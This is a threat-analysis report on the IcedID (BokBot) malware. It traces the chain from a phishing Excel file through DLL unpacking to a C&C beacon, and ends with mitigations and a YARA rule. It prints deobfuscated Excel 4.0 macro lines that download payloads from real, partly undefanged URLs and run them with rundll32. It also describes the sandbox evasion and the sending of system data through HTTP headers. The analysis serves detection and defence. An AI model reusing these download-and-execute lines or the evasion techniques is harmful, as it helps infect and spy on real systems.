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Introduction 
The IcedID malware family (also known as BokBot), which first appeared in 2017, increased its 
activities in Q1 2021 compared to previous years. The IcedID malware family, which has a high 
level of threat potential, has been scrutinized by the Malwation Threat Analysis Team. 

In the first years of its appearance, the IcedID malware, which performs its harmful operations 
with MITM attacks and injecting techniques into internet browsers in line with financial gain 
targets, has recently been serving other threat actors as MaaS (Malware-as-a-Service). As 
predicted by many security researchers, it can be said that they are planning to replace the 
Emotet threat group, which was destroyed by a major operation in the past months. Unlike 
itself, it can be said that it is in charge of infecting other malware families into systems and 
performing Stage 1. 

The IcedID malware is distributed to target systems via phishing e-mail. These e-mails contain 
an additional Microsoft Office Excel file with the extension .XLSM. The IcedID malware 
performs Stage 1 with Excel 4.0 macros in XLM format to avoid security products. Detection of 
Excel 4.0 macros of security products before the violation is insufficient. 

 

 



 

 

Malicious Excel Document Analysis 
 

File Name documents-760030714.xlsm 
Type Excel Doküman Dosyası 
SHA-256 7117fca67d5e13cf9bded6b30481511c99b132b05993bcb68578daf5dfbaac7b 
MD5 b291ce924a99d3719cdc485e0cd0115a 

 

The malicious document, which is the first element of the IcedID family in the distribution 
phase, is not suspicious of the end user, and a social engineering method has been used as a 
counter attack of Windows shutting down the macro codes by default. There are texts that do 
not reflect the truth that this document is protected and encrypt by DocuSign and that macro 
execution must be activated by the user in order to be decrypt.  

 



 

This malicious document contains Excel4.0 macros in XLM format. Techniques based on 
combining strings in different cells of different sub-documents and filling the relevant cells 
with formulas such as SET.VALUE, FORMULA.FILL are used. Excel4.0 macros have been 
obfuscated as seen in the image below.  

 

 

 

 We also see garbage values added in order to create confusion among analysts. Among these 
garbage values are placement processes. 

 



As a result, when we deobfuscate Excel 4.0 macros in XML format, which are obfuscated as we 
explained the details; 

 

SET.VALUE('Doc1'!BM129, 'rundll3') 

SET.VALUE('Doc1'!BM130,'DllRegisterServe') 

SET.VALUE(BM116, "URLMo") 

SET.VALUE(BM117,"URLDownloadToFile") 

SET.VALUE(BM127, "JJCCBB") 

 

FORMULA.FILL('http://jaishritours[.]com/ds/0204.gif', 'Doc1'!BM120) 

FORMULA.FILL('https://digitalcreations[.]co.in/ds/0204.gif', 'Doc1'!BM121) 

FORMULA.FILL('https://utabmis.ac.rw/ds/0204[.]gif', 'Doc1'!BM122) 

FORMULA.FILL('https://pinkpaprika.co.uk/ds/0204[.]gif', 'Doc1'!BM123) 

FORMULA.FILL('https://unityindiversity.in/ds/0204[.]gif','Doc1'!BM124) 

CALL("URLMon", "URLDownloadToFileA", "JCCBB", 3, 'http://jaishritours.com/ds/0204[.]gif', 
="..\nvcoerf.vlb", 0, 0) 

CALL("URLMon", "URLDownloadToFileA", "JCCBB", 3, 'https://digitalcreations.co.in/ds/0204[.]gif', 
="..\nvcoerf.vlb1", 0, 0) 

CALL("URLMon", "URLDownloadToFileA", "JCCBB", 3, 'https://utabmis.ac.rw/ds/0204[.]gif', 
="..\nvcoerf.vlb2", 0, 0) 

CALL("URLMon", "URLDownloadToFileA", "JCCBB", 3, 'https://pinkpaprika.co.uk/ds/0204[.]gif', 
="..\nvcoerf.vlb3", 0, 0) 

CALL("URLMon", "URLDownloadToFileA", "JCCBB", 3, 'https://unityindiversity.in/ds/0204[.]gif', 
="..\nvcoerf.vlb4", 0, 0) 

EXEC('rundll3'&"2 "&'="..\nvcoerf.vlb"'&',DllRegisterServe'&"r") 

EXEC('rundll3'&"2 "&="..\nvcoerf.vlb"&"1"&"DllRegisterServe"&"r") 

EXEC("rundll3"&"2 "&"="..\nvcoerf.vlb""&"2"&"DllRegisterServe"&"r") 

EXEC("rundll3"&"2 "&="..\nvcoerf.vlb"&"3"&"DllRegisterServe"&"r")) 

EXEC("rundll3"&"2 "&="..\nvcoerf.vlb"&"4"&"DllRegisterServe"&"r")=HALT() 

 



We understand that it obfuscates macros for malicious purposes such as. When we look at the 
Excel formulas we deobfuscate, it saves malicious executable files from 5 different websites, 
which have a .gif extension but actually a PE file, as nvcoerf.vlb and adding an incremental 
number to the end of each. Then it starts running from the DllRegisterServer function 
exported with rundll32.exe. 

 

NVCOERF.VLB Analysis 
 

File Name Nvcoerf.vlb 
Type DLL 
Sha-256 fa391aa80eba03870abb2514f0cd48c397807bd1aed622bcdc55948d695f12a3 
MD5 929e9fac2785cf4f8bc82a9b50bd8962 

 

In Stage 1, the IcedID malware had downloaded the malicious executable files from the remote 
server using Excel 4.0 macros and saved them to disk. Now it runs the malicious files it has 
downloaded to perform Stage 2, starting with Rundll32.exe and the DllRegisterServer 
function. Although these malicious files have the .gif extension on the remote server, they are 
actually DLLs compiled for 64-bit architecture. These malicious DLLs have two export 
functions named PluginInit and DllRegisterServer, but only the DllRegisterServer function is 
called. 

When we look at the downloaded DLLs, it is observed that although there are hash differences, 
some unimportant bytes are changed and the hashes of these malicious files are 
differentiated. However, these malicious DLLs downloaded are all the same and there is no 
difference between them.  



 

The IcedID malware does not reveal that it uses any API in the Import Address Table to avoid 
security products. In order to achieve this, it solves the APIs it will use under the name of 
runtime. In addition, the API Resolving function has been obfuscated to make it difficult for 
the analyst. 

 

 



 The IcedID malware performs the API Resolving technique with the Traversal method and 
navigates on all APIs exported by DLLs. 

 

 

Located  in the Suspicious category by security products; 

- VirtualAlloc 
- VirtualProtect 
- WriteFile 
- CreateFileA 

 After solving APIs such as, it unpacks the malicious PE image to memory. 



 

After allocating 3 different memory blocks with the help of the VirtualAlloc API for the 
Unpack operation, it places the PE and section headers in the first memory block, the content 
of the sections in the second memory block, and the first and second blocks in the third 
memory block in the appropriate order and reveals the real malware that will run at runtime. 

 

Text section of the malware that is resolved to the memory at the time of runtime appears in 
the image above. 

The entrypoint point in the .text section is called after the malware copied into the memory is 
mapped so that it can run at runtime. 



 

 

The call made to the entrypoint point of the malware that was resolved at the time of the 
visual runtime above can be seen. 

In-Memory Payload Analysis 
 

File Name No file name. 
Type DLL 
SHA-256 fd6246c8e18ce03912f49acd6f8da97370b409a8139d1de1c2cd8f774d74fca8 
MD5 2348901eca8a97554a3271beb0b565f6 

 

 After this call process, the malicious image in the memory, creates a new thread with the 
CreateThread API, which is its own function, which is in the initial routine offset 1720. 



 

This called function can be assumed to be the Main function of the IcedID malware. When the 
newly created thread starts running the instructions in the Main function, the first action it 
does is to decrypt the IcedID malware's command control server. After the C&C server encrypt 
with XOR is resolved, it goes to the next stage. 

 

It uses multiple single-byte XOR keys to decrypt the domain connected to the C&C server. 
Each encrypt character is decrypt with a different XOR key. You can see the XOR keys in the 
image below. 

 

As can be seen from the image below, the C&C server of the IcedID malware we analyzed is 
registered to the domain name nenepepe [.] Pro. It should not be overlooked that the 4-byte 
hexadecimal characters located right in front of the C&C server can be used by the malicious to 
parse the C&C domain in the later stages.  

 

After the domain connected to the C&C server is decrypt, the IcedID malware sends a request 
to the aws.amazon.com domain with the WinHttpSendRequest API to ensure that the infected 
system has an active internet connection and verifies that it is a valid internet connection by 



analyzing the response. If the infected system has an internet connection, it continues to work. 
If it is not available, there is a return from the function immediately.  

 

 

 

After confirming that the IcedID malware has an active internet connection in the system, it 
collects information about the system through Windows APIs. The system information it 
collects is briefly: 

- Username of the currently logged in user, 
- SID token of the system, 
- Information of network adapters,  
- It obtains values such as operating system and version information.  



 

It converts the strings corresponding to all this information it obtains into hexadecimal 
equivalents and assigns them to certain HTTP headers to send a request to the C&C server. 
The HTTP headers it uses to send to the C&C server are listed below. 

- __gads= 
- _gat= 
- _ga= 
- _u= 
- __io= 
- _gid= 

Suppose the system name is LAB_PC. When the hexadecimal conversion is done, it becomes 
4c 41 42 5f 50 43. The IcedID malware sends the username to the C&C server in the form of _u = 
4c41425f5043 by assigning the header _u.  

 

The IcedID malware, which collects the necessary information through the system, performs 
one of the most critical operations before sending a request. It performs VM and Sandbox 
control using CPUID, RDTSC instructions and SwitchToThread API. It sets the values it gets to 
the HTTP header _ga and returns it from the Evasion function.  



 

 

The most striking behavior here is that the IcedID malware does not attempt to perform 
actions such as exiting the program and crashing, other than setting the HTTP header after 
evaluating whether the system is an analysis environment. It leaves the decision to continue 
with Stage 3, that is, to run another malware, to the C&C server. 

 

 

 



 

 

 

 

After the important system information is collected and the headings are set, a request is sent 
to the C&C server..  

 

 

 

The response that comes right after sending the request is checked and then the data returned 
by the C&C server is read with the WinHttpReadData API. If the C&C server returns a 404 error 
code on the request sent, it returns from the relevant function and does not do anything else. 
But if it returns 200 OK code, it sends the read data to the decrypt routine. 

 

 

 

 

 

 



 

 

The above image shows the decrypt routine in which the IcedID malware resolves the 
malwares it provides MaaS service.  

 

 

 

 



 

After this decrypt process, it writes the malware in memory to the TEMP directory of the 
system by creating a new file.   

 

It runs the new malware written to the disk with the CreateProcessA API. After this stage, the 
transition to Stage 3 is now provided and MaaS runs another malware family on the system as 
a requirement of the service..   

 

 



Epilogue 
 

Considering the techniques, behaviors and system-wide controls used by the IcedID malware 
family, which is technically analyzed, it is understood that it intends to serve as MaaS 
(Malware-as-a-Service) like Emotet. The necessity of seriously analyzing their activities, 
considering that the malware it serves in Stage 3, and considering the techniques and 
precautions up to this stage, security products should develop new techniques against the 
Evasion techniques applied by IcedID and it may cause great damage at the international level 
in the coming days is seen. 

No response can be received because the C&C server is turned off during the analysis. 
However, when the IcedID malware is analyzed in code, it is seen that it sends information 
about the infected system to the C&C server in HTTP headers. The C&C server, on the other 
hand, can make decisions such as whether the malware it will drop to the system in Stage 3 is 
targeting the infected system or not, and whether it is in a malware analysis environment. And 
during a possible analysis, it does not upload the actual malware to the system. 

All these technical analysis results of the IcedID malware have been evaluated, and it can be 
said that the risk is higher due to the use of innovative techniques..  

Solution Proposals 
 

- Using a reliable and up-to-date anti-malware software in the systems, 
- Paying attention to incoming mails, not opening the attachments that come with the e-

mail unconsciously without being analyzed., 
- Using spam filters on mail servers and ignoring spam mails, 
- Solution suggestions such as the integration of the YARA rule, written by the 

Malwation Threat Analysis Team as a result of technical analysis, into security products 
can prevent the IcedID pest from being infected or reduce the damage it may cause..  

 

 



YARA Rule 
 

rule IcedID_Malwation_YARA{ 

 meta: 

  author = "Malwation Threat Analysis Team" 

  site = “https://malwation.com” 

  analyst = “Fatih ŞENSOY” 

  description = "IcedID Malware Analysis" 

 strings: 

  $http_header_1 = "Cookie: __gads=" wide 

  $http_header_2 = "_gat=" wide  

  $http_header_3 = "_ga=" wide  

  $http_header_4 = "_u=" wide  

  $http_header_5 = "__io=" wide  

  $http_header_6 = "_gid=" wide  

   

  $other_1 = "aws.amazon.com" wide  

  $other_2 = "%s%u" wide  

  $other_3 = "%S" wide  

  $other_4 = "c:\\ProgramData\\" ascii 

  $other_5 = "POST" wide  

  $other_6 = "GET" wide 

   

 condition: 

  5 of ($http_header_*) or all of ($other_*) 

} 


